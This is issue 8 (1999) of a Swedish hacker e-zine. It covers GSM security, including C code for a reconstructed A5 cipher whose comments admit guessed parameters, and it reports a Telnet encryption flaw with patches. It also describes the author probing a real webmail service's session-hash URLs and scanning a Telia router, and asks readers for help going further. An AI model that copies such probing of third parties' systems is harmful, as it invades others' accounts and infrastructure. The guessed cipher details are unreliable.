-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1


     Heretics Inc. presenterar....






                              [ Outlaw Informativa ]

                                 issue 8, 99-10-09

                               ___________________

                                 O U T L A W  8

                                 Oktober 9, 1999
                               ___________________

                          - A Heretics Inc. Production -



             "Det r den som gr vilse som finner de nya vgarna" 
                 - Niels Kjear 


 Var hlsad till nummer 8 av Outlaw Informativa. Detta nummer kommer frhoppn-
 ingsvis att innehlla nyttig och intressant information. Som ni kommer  mrkt
 s har Outlaw Informativa bytt frn seris stil till  oseris, jag  har  ftt
 mnga olika sikter kring detta fenomen. En del tycker att  det  r  kul  med
 lite humor dr emellan vissa tycker raka motsatsen. Jag vet inte  n  hur jag
 ska lsa detta, men fr att hjlpa oss kan du enkelt skicka  ett  email  till 
 keytrace@usa.net och sga  vad  du tycker. Jag  har  gtt  i  funderingar  p  
 att  gra Outlaw Informativa till ett mer serist zine vilket det  avgr att  
 Carding och Anarchy delarna tas bort, vad ni tycker  om  det  kan  ni genaste 
 skicka  ett mail till mig. Fr vrigt  kommer  detta  nummer  innehlla  lite 
 blandat information kring Telefon system, Skerhet  och ven lite funderingar  
 och  enkla undersknaringar av olika system som ofta fljer med en massa fr-
 getecken som r meningen att ni ska maila in till keytrace@usa.net och  svara 
 p.
 
 -----------------------------------------------------------------------------
                                  Disclaimer
 -----------------------------------------------------------------------------
 Andvnder du materialet i detta elektroniska tidning  i  olagligt  syfte  och
 ker fast fr det s fr du st fr det. Du tar sjlv ansvar  fr  dina  egna
 handlingar.


 -----------------------------------------------------------------------------
                                    Medverkande
 -----------------------------------------------------------------------------
 En enkel lista med folk  som  skrivit fr detta nummer och hur du kan komma i
 kontakt med personen.


 Alias: diox1de                    Contact: keytrace@usa.net
                                     
 Alias: ncode                      Contact: root@sectech.org
                                       
 Alias: p01nt_zer0                 Contact: po1nt_zero@hotmail.com
                                              



 -----------------------------------------------------------------------------



                 I N N E H  L L S F  T E C K N I N G



         $ Staff          
 
           1:1. Editor                                
           1:2. Disclaimer                          
           1:3. Medverkande                         
           1:4. Innehllsfrteckning
           1:5. Aktuellt
           1.6. Heretics Manifesto


         $ Nyheter

           2.1. Microsoft kritiserar Linux
           2.2. Sun slpper kllkoden fr Solaris fri


         $ Phreaking och Telefoni
  
           3:1. Skerhet i GSM systemet, del #3           av: diox1de
           3:2. IMT-2000/FPLMTS                           av: p01nt_zer0
           3:3. UMTS                                      av: p01nt_zer0


         $ Hacking, Skerhet, Unix etc.

           4:1. Paket kryptering i Telnet                 av: diox1de
           4:2. Mjlig bakdrr i marijuana.com            av: diox1de
           4:3. Funderingar kring Telia                   av: diox1de
           4:4. Skapa ett SUID Shell                      av: ncode
           4:5. Enkelt om 2 olika Trojaner                av: diox1de
           4:6. Brev angende telias rtt om sprrning    av: anonymous
           4:7. Linux fr dumma, del #1                   av: diox1de
           

         $ Insndare
 
           5:1. Netscape 4.05 (Messenger) kryptering     


         $ Ngra ord innan slutet

           6:1 . Copyright
           6:2 . return 0;




   Nr du befinner dig p ppet territorium, str ingen. Om ngon str dig, 
   be honom sluta. Slutar han inte, gr slut p honom.





 -----------------------------------------------------------------------------
                                  Aktuellt
 -----------------------------------------------------------------------------

   Heretics hemsida flyttad

 Heretics Inc. 's hemsida flyttades frn kontot till www.g1mp.net/heretics, 
 och det har jag ncode att tacka fr, tack


   Prenumerations listan lggs ner !

 Prenumerations listan lggs ner, eftersom alla prenumerationer frsvann i  en
 hrdisk krash, och nr jag checkade min mail dit alla prenumerationer skickas 
 s lg dr 200 stycken, jag har  inte  andvndt  mig  av  ngot  program  som
 hanterar prenumerationen.


   p01nt_zer0 skriver lite texter, kommer eventuellt joina

 p01nt_zer0 har mycket kunskap kring Phreaking/Telefoni och han kommer mjlig-
 tvis joina Heretics, n s lnge verkar det som han lyckats, eftersom inform-
 ationen som kommer bla. i detta nummer inte finns i ngot annat  zine..allts
 inte s vlskrivet om :)


   Kunskapsplan resulterar i texter och artiklar  

 Jag diox1de har lagt upp ngot som jag kallar fr  en  kunskapslan. Jag  har
 lagt upp typ ett schema vad jag ska lsa och praktisera om, nu hller jag p
 att studera Unix nsta  kommer  bli  Windows NT, sen  C  programmering  osv.
 Detta kommer resultera att jag skriver textfiler/artiklar, men dessa  kommer
 bara vara skrivna fr min egen skull, fr att jag ska lra mig bttre.


  Kommande Projekt

   En tutorial om Kryptering

 Kryptering r ett hett  mne  just  nu, pgrund  av  att  mycket  har brjat
 sktas via Internet, typ internet handel  och  dyl. Detta  r  s  pass nytt
 s skerheten ligger bakom frgetecknet. Drfr hade  jag  tnkt  att skriva
 en tutorial om Kryptering som  programmerare, systemansvariga  och skerhets
 intresserade kommer ha nytta av.Jag kommer skriva om hur kryptering fungerar
 vid kommunikation ver knsliga  kanalen, hur  assymetriska  och symmetriska
 chiffer fungerar,lite enkelt om historia och angrepp mot de olika teknikerna
 vid kryptering.

 Fr att texten jag har brjat p  ska  hlla  hg  klass  och  nnehlla rtt
 information s behver jag sikter, tips osv. om texten, visserligen har jag
 inte kommit speciellt lngt p den, ligger p ca. 30k  just  nu. Men  du som
 vet att du r hyffsat seris och kan en del kring kryptering och har mjlig-
 heter  att hjlpa till s maila diox1de@hacksweden.com.


  Praktik och Teori svvande kring PPP och Modem

 Detta r ett eventuellt projekt som jag kanske ska brja  med. Jag  har lst
 Rasslade lite i mitt text arkiv och hittade ett par textfiler om PPP protok-
 ollet och om Modem kommunikation,j ag lste igenom information och blev dir-
 ekt intresserad. S nu  hller  jag  p  med  en  tutorial  som  jag  kommer  
 kalla: Praktik och Teori svvande kring PPP och Modem. Den kommer  innehlla 
 information  hur  Modem  fungerar, hur  du  kodar  fjrranslutnings  script, 
 Teoretisk frklaring av PPP protokollet  samt  hur  du  stter  upp  en  PPP  
 anslutning i Linux. Om du vill hjlpa till och ge tips, frslag eller skicka  
 information svvande kring mnet jag kommer skriva om s str min mail addr-
 ess nedan.

  - diox1de@hacksweden.com


  NTFS whitepaper

 Detta r ett eventuellt projekt som jag kanske ska brja  med. Jag  har lst
 lite smtt om NTFS (Network File System) och  blivit  mycket intresserad. Om
 du vill att det ska bli nt s skicka s mycket information  om  NTFS du kan
 till diox1de@hacksweden.com. Frst och frmst ska jag gna mig t  texten om 
 kryptering och Outlaw Informativa. Men nr texten om  kryptering  brjar  ta 
 sig i form och bli klar s kommer jag antagligen brja ordenkligt med texten  
 om NTFS. Det r bara en  tidfrga  tills  det  ligger NTFS whitepaper ligger  
 p Heretics projekt arkiv.


 -----------------------------------------------------------------------------
                              Heretics Manifesto  
 -----------------------------------------------------------------------------
 Vi frstr att du vill lra dig, men fr att lra dig behver du  styrka  som
 kommer flja dig tills du nr dina ml. Styrkan kommer hjlpa dig att frst,
 att hantera fel. Under tiden du lr dig mste du hela tiden  hlla  tanken  i
 bakhuvudet; verskatta dig inte sjlv, var sjlvsker men dlj det fr andra.
 Om det r ngon som ber om hjlp, bli d uppmrksamm och  frsk  att  hjlpa
 personen s mycket du kan. Akta dig noga fr den mrka sidan byggt p elitis-
 m, knner du stor ondska ver en person frsk hlla kommentarerna  till  dig
 sjlv och bevara dom dr eller argumentera p ett bra stt med personen.

  The Dark Side is closer than you think.


 -----------------------------------------------------------------------------
                           Microsoft kritiserar Linux  
 -----------------------------------------------------------------------------
 Som ni kanske vet s r det mnga som byter  frn  Microsofts  operativsystem
 till Linux, det har ven sjlv  gjort. Detta  leder  ju  ocks  till  att  MS
 frlorar en jvla massa pengar. Microsoft r/har blivit oroliga och oskra.
 
 P en websida, nrmare bestmt:

 http://www.microsoft.com/ntserver/nts/news/msnw/LinuxMyths.asp

 MS pstr att att Linux r ett ostabilt oskert system  jmnfrt  med  WinNT.
 Jag har sjlv studerat en del hl i Linux och i NT och gmnfrt dem, resulta-
 tet r ju d att Windows NT r s grymt mycket ostabilare n vad Linux r. MS
 tar till alla medel fr att skrmma Linux andvndarna och sno  tillbaka  sina
 kunder. Serist s tror jag att dom inte har lyckats ngot vidare.


 Klla: http://linux.idg.se


 -----------------------------------------------------------------------------
                       Sun slpper kllkoden fr Solaris fri  
 -----------------------------------------------------------------------------
 Sun Microsystems slpper kllkoden fr sitt os Solaris helt fri. Villkoret r
 dock att programmerarna inte fr utveckla sina egna lsningar.

 Dom slppte den fri fr att bla. administratrer ska kunna bygga ett  kluster 
 eller stta upp en webbserver, d vljer dom istllet Linux framfr Solaris.

 Det kommer ven bli  stor  konkuranns  nr  Microsoft  slpper  sitt  nya  os
 Windows 2000.
 

 -----------------------------------------------------------------------------
                        Skerhet i GSM systemet, del #3
 -----------------------------------------------------------------------------

  [Frord]

 nnu en del om GSM Skerhet, ligger nu uppe i #3 delen  och  kommer  bli  den
 sista, men jag kommer dock frlnga den hr artikeln lite. Den kommer  allts
 bli en aning strre en de andra delarna.

  [versikt]

 Fr er som inte lst alla #3 serierna om GSM Skerhet s tnkte jag g igenom
 vad alla handlar om.
 
 .---------------------------------------------------------------------------.
 |DEL #1: Handlar om hur Subscriber Identity  Authentication  fungerar  och  | 
 |        lite annat smtt och gott som dyker upp dr emellan.               |
 |                                                                           |
 |DEL #2: Handlar om Krypterings-algoritmen A5, hur den fungerar teoretiskt  | 
 |        stt.                                                              |
 |                                                                           |
 |DEL #3: Handlar om hur "User and Signalling Data Confidentiality" fungerar |
 |        och lite om A5 igen som andvnds i det ovan + Subscriber Identity  |
 |        Confidentiality .                                                  |
 `---------------------------------------------------------------------------


      [User and Signalling Data Confidentiality]

 User and Signalling Data Confidentiality har tre element att ta hand  om  och
 dessa r:

   user data confidentiality
   signalling information on physical connections
   connectionless user data confidentiality and signalling  information 
    element confidentiality.


  --> "user data confidentiality"

  Tar  hand  om privacy fr andvndaren som genererat all  data, bde  rster 
  och data som kommer frn mobilen. Allts som skickas ver radio och  trafik 
  kanalerna.


  --> "signalling information" som seglar runt p fysiska anslutningar 
   
  Signal Informationen (Signalling Information) har  ocks  med  privacy  att 
  gra. Tar hand om andvndar information som  skickas i  form av  ett  paket
  av   information  som  gr   via  radio  lnken  p  signal  kanalen. Detta
  transporteras hit  och dit p de fysiska anslutningarna (physical connecti-
  ons)


  --> "connectionless user data confidentiality" och "signalling  information 
       element confidentiality".

  Det tredje elementet frser fr  enskildheter av en "certain user"  som  r
  beslktad med andra signal  element som gr  via  radio  lnken  p  signal 
  kanalen.
  
 
 Fr att det ska bli skert i verfring av alla  de  tre  elmenten  s behvs
 sjlvklart kryptering, hr andvnds A5 som r beskriven i del #2. Fr att det
 ska funka att andvnda A5 algoritm s mste alla ntverk och mobiler ha  std
 fr det, annars  blir det en hel  del  problem. Jag  tnke  beskriva algoritm
 A5 lite enkelt fr att uppdaterera era kunskaper, men frmst mina.

 A5 r en algortim fr att kryptera  trafik. Frst  skapar  den  en  keystream 
 under kontroll av en en nyckel. Bit fr Bit av keystreamen transporteras ver  
 Radio Lnken mellan Basstationen och MS:en. Nyckeln blir etablerad  p  MS:en 
 som en liten del av authenication proceduren. Informationen blir  dekrypterad  
 efter MS:en har blivit identifierad. Mer orkar jag inte  bertta  pgrund  av 
 bakfylla, trtthet osv. Men A5 r ju frklarad i #7:an s ni kan ju lsa  dr 
 ocks.

  Note: MS = Mobile Subscriber, mobiltelefon med andra ord.


      [Subscriber Identity Confidentiality]

 r en slags funktion eller applikation som gr det mjligt fr en  andvndare
 att uppdatera sin "location etc." utan att avslja sitt "International Mobile 
 Subscriber  Identity (IMSI) fr  ngon  som gr ett frsk till  ett  angrepp  
 p radio lnken. Med andra ord hindrar den allts att  ngon  sniffar  signal
 vxlingen p radio lnken fr att ska upp en bestmd mobitelefonens befintl-
 iga "location". Alla mobil nt och mobiltelefoner mste i regel kunna  stdja 
 denna tjnst, det r iofs inte helt obligatoriskt.

 Det r absolut ndvndigt att IMSI inte skickas i cleartext p Radio  lnken,
 visserligen finns det fall dr det inte gr det och d dyker mnga  effektiva
 angrepp upp som kan gra att en person kan s niffa  Radio  lnken. Mekanism i
 mobilen ska vara frsedd med denna funktion och den ska ven vara baserad  p
 temporary mobile subscriber identity (TMSI) som oskyldigt men  mycket  skert
 uppdateras efter varje lyckad  tillgng (Successful Access :P) till systemet.
 I princip s behver inte TMSI vara krypterad nr den verfrs p Radio Lnk-
 en. Som nmnt tidigare  s  behver  dremot  IMSI  vara  krypterad  eftersom 
 effektiva angrepp kan uppst.
 
 Hur fungerar det d?...Jo, detta frutstter att MS r tilldelat med en TMSI,
 betecknas betcknas som TMSIo, och att ntverket har  etablerat  en  frening 
 mellan TMSIo och en sk. "Mobile Subscriber" allts typ en abbonent eller helt 
 enkelt en mobiltelefon. MS identifierar  sig  med  Ntverket (authenticerar). 
 Direkt efter authenticationen r genomfrd (om den nu blir det :-/) Ntverket
 generar ett nytt TMSI, betcknas d som TMSIn, och skickar sedan det till  MS
 och skickas d i krypterad  form (Krypterat  med  nyckeln Kc) MS  dekrypterar 
 och erstter TMSIo med TMSIn.


      [Ett exempel p A5]

 Hr kommer kllkoden fr ett exempel av A5 algoritmen. Du kan frska  hitta 
 p ngot kul med den eller nt.


/*
 * In writing this program, I've had to guess a few pices of information:
 *
 * 1. Which bits of the key are loaded into which bits of the shift register
 * 2. Which order the frame sequence number is shifted into the SR (MSB
 *    first or LSB first)
 * 3. The position of the feedback taps on R2 and R3 (R1 is known).
 * 4. The position of the clock control taps. These are on the
 *    `middle' one, 
 *    I've assumed to be 9 on R1, 11 on R2, 11 on R3.
 */

/*
 * Look at the `middle' stage of each of the 3 shift registers.
 * Either 0, 1, 2 or 3 of these 3 taps will be set high.
 * If 0 or 1 or one of them are high, return true. This will cause each of
 * the middle taps to be inverted before being used as a clock control. In
 * all cases either 2 or 3 of the clock enable lines will be active. Thus,
 * at least two shift registers change on every clock-tick and the system
 * never becomes stuck.
 */

static int threshold(r1, r2, r3)
unsigned int r1;
unsigned int r2;
unsigned int r3;
{
int total;

  total = (((r1 >>  9) & 0x1) == 1) +
          (((r2 >> 11) & 0x1) == 1) +
          (((r3 >> 11) & 0x1) == 1);

  if (total > 1)
    return (0);
  else
    return (1);
}

unsigned long clock_r1(ctl, r1)
int ctl;
unsigned long r1;
{
unsigned long feedback;

 /*
  * Primitive polynomial x**19 + x**5 + x**2 + x + 1
  */

  ctl ^= ((r1 >> 9) & 0x1);
  if (ctl)
  {
    feedback = (r1 >> 18) ^ (r1 >> 17) ^ (r1 >> 16) ^ (r1 >> 13);
    r1 = (r1 << 1) & 0x7ffff;
    if (feedback & 0x01)
      r1 ^= 0x01;
  }
  return (r1);
}

unsigned long clock_r2(ctl, r2)
int ctl;
unsigned long r2;
{
unsigned long feedback;

  
 /*
  * Primitive polynomial x**22 + x**9 + x**5 + x + 1
  */   

  ctl ^= ((r2 >> 11) & 0x1);
  if (ctl)
  {
    feedback = (r2 >> 21) ^ (r2 >> 20) ^ (r2 >> 16) ^ (r2 >> 12);
    r2 = (r2 << 1) & 0x3fffff;
    if (feedback & 0x01)
      r2 ^= 0x01;
  }
  return (r2);
}

unsigned long clock_r3(ctl, r3)
int ctl;
unsigned long r3;
{
unsigned long feedback;

 /*
  * Primitive polynomial x**23 + x**5 + x**4 + x + 1
  */

  ctl ^= ((r3 >> 11) & 0x1);
  if (ctl)
  {
    feedback = (r3 >> 22) ^ (r3 >> 21) ^ (r3 >> 18) ^ (r3 >> 17);
    r3 = (r3 << 1) & 0x7fffff;
    if (feedback & 0x01)
      r3 ^= 0x01;
  }
  return (r3);
}

int keystream(key, frame, alice, bob)
unsigned char *key;   /* 64 bit session key              */
unsigned long frame;  /* 22 bit frame sequence number    */
unsigned char *alice; /* 114 bit Alice to Bob key stream */
unsigned char *bob;   /* 114 bit Bob to Alice key stream */
{
unsigned long r1;   /* 19 bit shift register */
unsigned long r2;   /* 22 bit shift register */
unsigned long r3;   /* 23 bit shift register */
int i;              /* counter for loops     */
int clock_ctl;      /* xored with clock enable on each shift register */
unsigned char *ptr; /* current position in keystream */
unsigned char byte; /* byte of keystream being assembled */
unsigned int bits;  /* number of bits of keystream in byte */
unsigned int bit;   /* bit output from keystream generator */

  /* Initialise shift registers from session key */

  r1 = (key[0] | (key[1] << 8) | (key[2] << 16) ) & 0x7ffff;
  r2 = ((key[2] >> 3) | (key[3] << 5) | (key[4] << 13) | 
       (key[5] << 21)) & 0x3fffff;
  r3 = ((key[5] >> 1) | (key[6] << 7) | (key[7] << 15) ) & 0x7fffff;


  /* Merge frame sequence number into shift register state, by xor'ing it
   * into the feedback path
   */

  for (i=0;i<22;i++)
  {
    clock_ctl = threshold(r1, r2, r2);
    r1 = clock_r1(clock_ctl, r1);
    r2 = clock_r2(clock_ctl, r2);
    r3 = clock_r3(clock_ctl, r3);
    if (frame & 1)
    {
      r1 ^= 1;
      r2 ^= 1;
      r3 ^= 1;
    }
    frame = frame >> 1;
  }

  /* Run shift registers for 100 clock ticks to allow frame number to
   * be diffused into all the bits of the shift registers
   */

  for (i=0;i<100;i++)
  {
    clock_ctl = threshold(r1, r2, r2);
    r1 = clock_r1(clock_ctl, r1);
    r2 = clock_r2(clock_ctl, r2);
    r3 = clock_r3(clock_ctl, r3);
  }

  /* Produce 114 bits of Alice->Bob key stream */

  ptr = alice;
  bits = 0;
  byte = 0;
  for (i=0;i<114;i++)
  {
    clock_ctl = threshold(r1, r2, r2);
    r1 = clock_r1(clock_ctl, r1);
    r2 = clock_r2(clock_ctl, r2);
    r3 = clock_r3(clock_ctl, r3);

    bit = ((r1 >> 18) ^ (r2 >> 21) ^ (r3 >> 22)) & 0x01;
    byte = (byte << 1) | bit;
    bits++;
    if (bits == 8)
    {
      *ptr = byte;
      ptr++;
      bits = 0;
      byte = 0;
    }
  }
  if (bits)
    *ptr = byte;

  /* Run shift registers for another 100 bits to hide relationship between
   * Alice->Bob key stream and Bob->Alice key stream.
   */

  for (i=0;i<100;i++)
  {
    clock_ctl = threshold(r1, r2, r2);
    r1 = clock_r1(clock_ctl, r1);
    r2 = clock_r2(clock_ctl, r2);
    r3 = clock_r3(clock_ctl, r3);
  }

  /* Produce 114 bits of Bob->Alice key stream */

  ptr = bob;
  bits = 0;
  byte = 0;
  for (i=0;i<114;i++)
  {
    clock_ctl = threshold(r1, r2, r2);
    r1 = clock_r1(clock_ctl, r1);
    r2 = clock_r2(clock_ctl, r2);
    r3 = clock_r3(clock_ctl, r3);

    bit = ((r1 >> 18) ^ (r2 >> 21) ^ (r3 >> 22)) & 0x01;
    byte = (byte << 1) | bit;
    bits++;
    if (bits == 8)
    {
      *ptr = byte;
      ptr++;
      bits = 0;
      byte = 0;
    }
  }
  if (bits)
    *ptr = byte;
 
  return (0);

}


      [Frkortningar, sammanfattning]

 LSFR : Linear Feedback Shift Register
 MS   : Mobile Subscriber dvs. Mobil Telefon
 TMSI : temporary mobile subscriber identity 
 IMSI : International Mobile Subscriber Identity
 AUC  : Authentication Center
 HLR  : Home Location Register
 VLR  : Visitor Location Register
  
        hehe, som sagt: Ingen publicerings kvalitet.



      [Kllfrteckning]

 Eftersom det hr va sista delen s tnke jag skriva kllfrtecking, allts
 var jag ftt tag i all info.

 Overview of GSM Security Features (LoU)
 Att frst Telekommunikaion (Telia & Ericsson)
 Usenet (sci.crypt)


      [Efterord]

 Nu va det slut p serien "Skerhet i GSM systemet", om du  skulle  lsa  ven
 dokumentationen som r tecknad i  avdelningen "Kllfrteckning" kan  du  ltt 
 uppleva som att jag terberttar och verstter informationen. Det r  delvis
 sant, att jag skrev denna serie med artiklar va fr min egen  skull  eftersom 
 jag har studerat GSM Skerhet ett tag, dock ingen direkt frdjupning i mnet.
 Om ni tyckte att serierna var nyttiga och bra s r det ju  bara  ett  bonus.
 Jag vet att de inte hll ngon publicerings  kvalitet. Men  jag  slppte  dem
 end. Frvrigt har jag dragit slutsatsen om att GSM Ntet hller frhlland-
 evis mycket hg Skerhet som inte direkt vem som helst skulle kunna gra  ett
 effektivt angrepp mot. Glm inte bort att artiklarna r baserade p en studie
 i GSM Skerhet.


 -----------------------------------------------------------------------------
                               IMT-2000/FPLMTS               
 -----------------------------------------------------------------------------
 FPLMTS - Future Public Land Mobile Telecommunication  System  har  bytt  namn
 till IMT-2000 - International Mobile Telecommunication  2000. Frutom  FPLMTS 
 ingr ven GMPCS - Global Mobile Personal Communications.

 Utvecklingen av IMT-2000 drivs av ITU-R och mlet r  kommunikation  nr  och
 var som helst. Det r viktigt att det ska kunna utnyttjas  med  hjlp  av  en 
 liten kommunikationsenhet man ltt kan bra med sig, t.ex. en mobiltelefon.

 IMT-2000 omfattar  flera  olika  radiomiljer, som  brjar  med  sm  miljer 
 inomhus, dr man skall erbjuda hg  kapacitet, detta  fortstter  vidare  via
 lokala och regionala miljer till en  global  milj  dr  man  med  hjlp  av
 satelliter tcker in hela jorden.

 Man kommer allts att anvnda  olika  tekniker  inom  omrden, samtidigt  som
 dessa tekniker ska kunna samverka och bilda  en  enhet, jmfr  med  GSM/DECT
 dr det finns telefoner som kan arbeta inom bda miljerna. 

 De frekvenser som ska  anvndas  har  angivits  till  1.885-2.225  och 1.980-
 2.200 MHz, varav 1.980-2.010 och 2.170-2.200 skall anvndas fr satelitkommu-
 nikation. Frekvenserna har  angivits  av  WARC - World  Administrative  Radio 
 Conferance.

 IMT-2000/FPLMTS och UMTS r tredje  generationens  mobiltelefonisystem, andra
 generationens GSM, D-AMPS  och  PDC  r  det  vi  anvnder  idag  och  frsta
 generationen, som fortfarande r i bruk NMT, AMPS och TACS. Ett av de viktig-
 aste mlen fr IMT-2000 r att  utforma  en  global  standard, s  att  samma 
 system kan anvndas ver hela vrlden. 

 Fljande standarder har utformats av ITU-R fr att beskriva IMT-2000:

 Standard:       Innehll:

 M.816           Framework for services supported by FPLMTS.
 M.817           Network architectures for FPLMTS.
 M.818           Satellite operation whitin FPLMTS.
 M.819           Adaption of FPLMTS to the needs of developing countries.
 M.1034          Requirements for the radio interface(s) for FPLMTS.
 M.1035          Framework for the radio interface(s) and radio subsystem
                 functionality for FPLMTS.
 M.1036          Spectrum consideations for implementation of FPLMTS in the
                 bands 1885-2025 MHz and 2110 MHz.
 M.1078          Security principles for FPLMTS.
 M.1079          Spech and voiceband data performance requirements for FPLMTS.

         (Tabellen r inte versatt pgrund av att det r lttare att frst
          vad som menas om det r p engelska om det skulle dyka upp i andra
          texter nr du studerar)


 IMT-2000/FPLMTS kommer att erbjuda ett brett utbud av tjnster, baserat p de    
 tjnster svl fasta som mobila telent kan erbjuda.
 Tjnsterna omfattar  personskning, digitala  datatjnster  och  audio/video.
 Tjnster som krver hg bandbredd/kapacitet kommer i frsta hand att erbjudas
 i ttbefolkade omrden.
 Oavsett var i vrlden man befinner sig, kommer man minst att ha tillgng till
 ett grundutbud av tjnster.
 


        Knowledge is a treashre but...
                                        practice is the main key to to it.


 -----------------------------------------------------------------------------
                                     UMTS
 -----------------------------------------------------------------------------
 UMTS r ett europiskt initiativ som drivs av ETSI, fr att skapa en  gemensam
 internationell standard fr alla former av  mobiltelekommunication, inklusive
 mobiltelefoni.
 UMTS r en europisk variant an IMT-2000 - International Mobile Tele-
 communication 2000 som drivs av ITU. (jag gtt igenom det i en tidigare text)

 De generella mlen fr UMTS r:

 Kapacitet:

     Att kunna erbjuda upp till 2 Mbps kapacitet fr olika tjnster, med
     reservation fr de fysiska frutsttningarna som den aktuella
     frbindelsen erbjuder.

 Kvalitet:

     Erbjuda en kvalitet p kommunikation som lgst uppfyller de krav som
     gller fr fasta frbindelser.

 Funktioner, tjnster:

     Kunna tillhandahlla ett brett spektra av tjnster anpassade fr olika
     anvndare.

     Stda UPT (Universal Personal Telecommunications).

     Att stda "wideband" intergration med B-ISDN via ATM.

     Det ska vara dynamiskt s att det r ltt att lgga till nya tjnster
     och funktioner.
 
     Det ska kunna allokera bandbredd dynamiskt och vid behov (on demand).

     Kompatibilitet, standarder:

     Det ska stmma verns med ITUs IMT-2000 rekommendationer.

     Det ska kunna anpassas fr alla tjnster och all utrustning som i fram-
     tiden kommer att kunna anvndas i fasta nt.
 
     Det ska finnas std fr bde ppna och slutna standarder.

     Kompatibilitet fr intelligenta tjnster i bde fasta och mobila ntverk.

     Kunna frena de mnga mobiltelefonisystem som finns idag, samtidigt som
     valfrihet ska kunna erbjudas.

     Det ska kunna fungera internationellt (iaf i Europa), inom olika typer
     av miljer och terrng.
 
     Det ska kunna stda avreglering och konlurrens inom alla typer av miljer
     och applikationer.

     Dela resurserna i radiobandet mellan olika operatrer, bde publika och
     privata.
     Dela resurserna i radiobandet mellan ett standardiserat grundutbud av
     tjnster och ett mer dynmiskt utbud som baseras p marknadens behov.
 
 Det r allts ganska mnga krav som skall  uppfyllas, men  vissa  av  dem  r 
 redan lsta, t.ex. med hjlp av GSM.


 Ntverk och radiolnk

 UMTS utformas  fr  att  anvnda  Intelligenta  Ntverk (IN) och  erbjuda  de 
 tjnster som d blir mjliga, de komponenter som kommer  att  ing  r  t.ex. 
 SCPer. Detta gr att man ltt kan stakomma  anvndaranpassade  tjnster  och 
 att man kan ndra tjnsterna i grundutbudet. 

 UMTS ska ing i IBCN - Intergrated Broadband Communications  Network  som  en 
 enhet fr mobil access mot B-ISDN. Detta innebr att mobila  nt  kommer  att 
 kunna erbjuda tjnster som tidigare endast fasta nt kunnat erbjuda.



        Knowledge is a treashre but...
                                        practice is the main key to to it.

         
 -----------------------------------------------------------------------------
                            Paket kryptering i Telnet
 -----------------------------------------------------------------------------
 Jag tnkte ta upp ett hl i Berkelys Telnet klienter som stdjer "Telnet enc-
 ryption Option" som andvnder Kerberos V4 authentication.

 [ok, till sjlva problemet]

 Vem som helst kan f tillgng till de krypterade paketen och enkelt dekrypte-
 ra. Man kan enkelt sniffa paketen fr att f tag i dem.
 
 [Lsning]

 Den vanliga lsningen r att ladda ner uppgraderingar, som jag listar nedan..

 Source code fr en patch: net-dist.mit.edu:/pub/telnet/telnet.patch

 Uppgraderingar: 

 ftp.ncsa.uiuc.edu/Mac/Telnet/Telnet2.6/prerelease/d7/Telnet2.6.1d7(68K).sit.hqx
                  /Mac/Telnet/Telnet2.6/prerelease/d7/Telnet2.6.1d7(fat).sit.hqx


 Plugins fr Kerberos:

 ftp.ncsa.uiuc.edu/Mac/Telnet/Telnet2.6/prerelease/AuthMan.plugin.1.0b1.hqx
                  /Mac/Telnet/Telnet2.6/prerelease/Kerberos_Telnet_plugin.sit.hqx



 Klla: CERT


 -----------------------------------------------------------------------------
                         Mjlig bakdrr i marijuana.com
 -----------------------------------------------------------------------------
 Jag r lite osker p detta men jag frklarar det jag upptckte s skickar ni
 information som jag inte vet till mig p keytrace@usa.net

 http://mail.marijuana.com/mail/check_mail/user/c8116dca1e48dd76379f7582197293fa

 c8116dca1e48dd76379f7582197293fa 

 Summan r samma varje gng ngon loggar
 in varje andvndare har sin egen  summa
 vilket tyder p att det r ett krypter-
 at lsenord.

 Om jag nu loggar in p min egna inbox p  marijuana.com  och  kopierar url:en
 till inboxen s kan denna person lsa alla min brev jag ftt  plus  kolla  p
 filer som folk skickat till mig.

 Det jag testade var att ge url:en till en polare p IRC och bad  honom  kolla
 om han fick ngon access till dem.

 http://mail.marijuana.com/mail/check_mail/user/c8116dca1e48dd76379f7582197293fa
  r url:en till inboxen.

 http://mail.marijuana.com/mail/attachment/user/c8116dca1e48dd76379f7582197293fa/pic.jpg?msg=6&part=8
   r url:en till en fil.

 Detta funkade nr jag va inloggad trycker jag p logout button i deras script
 baserade webmail s har ingen access till url:en lngre. Men om  jag istllet
 skiter i att trycka p logout, s  har  alla  access  till  min  inbox, detta
 bygger iofs p att den som vill rota i ngons privata liv  mste  ha tillgng
 till url:en. Det jag inte vet och det jag vill veta frn er r om denna summa
 eller teckensamling:

 c8116dca1e48dd76379f7582197293fa

 r det ett krypterat lsenord eller  en  checksum  eller  liknande fr  deras 
 cgi/perl  script. Om  det  r  ett  krypterat  lsenord  i snna fall, vilken
 algoritm andvnder dom ? .. Hur tar jag reda p det ?

 Jag skickade ett email och frgade lite diskret hur hg skerhet jag har och 
 vad fr algortim dom andvnder, dom svarade:

 
   We never give out our encryption methods, but I can assure you that we are 
   among the safest in the industry.   
              
   wm 
   m.com 
              
              
   On 12 Sep 1999, anon wrote: 
            
   > Date: 12 Sep 1999 05:35:36 -0700 
   > From: anon <xxxx> 
   > To: xxxx@marijuana.com 
   > Subject: how high is my security ? 
   >  
   > Hi! 
   > Im sending you this e-mail because i want to know how high security i have because 
   > i dont want anything bad to happen to me or my e-mail. So i wounder 
   > what algorithm you use to encrypt my e-mails and if you are using a commercial, 
   > in that case, wich one? and if you are using your own, how safe is it for me to use? 
   >  
   > thanks. 
   >   
   > // X

 S p ngot stt mste jag f reda p vad dessa siffror och bokstver i
 url:en till inboxen r, det r det jag behver veta fr att g vidare.


 -----------------------------------------------------------------------------
                           Funderingar kring Telia
 -----------------------------------------------------------------------------
 Detta r ocks lite frgor som jag vill f reda p i  denna  artikel, som  ni
 sjlvklart mste svara p om ni kan dom :)

 Jag testade att gra en traceroute p mig sjlv av ren trkighet och  en  av
 de maskinerna som paketen som kommer frn min dator som paserar maskinen va:

 ny-b1-pos5-0-0.telia.net (209.95.159.22)

 Jag testade att telnetta til maskinen [209.95.159.22] och fick  d  en  login
 prompt, som sg ut s hr:
 
 -------------------------
 User Access Verification

 Username:
 -------------------------

 En sak jag  klurar  ver  r  om  hosten [ny-b1-pos5-0-0.telia.net] har ngra
 synonymer som betyder ngon som kan ge mig information vad  maskinen andvnds
 till, om det r en router/firewall/proxy eller liknande.

 De portar p maskinen som va ppnade:

 79   Finger
 23   Telnet
 
 De som var filtrerade, allts de som r bevakade av n Firewall r:

 137    netbios-ns  (vad str ns fr?, namserver ?)
 138    netbios-dgm (vad str dgm fr ?)
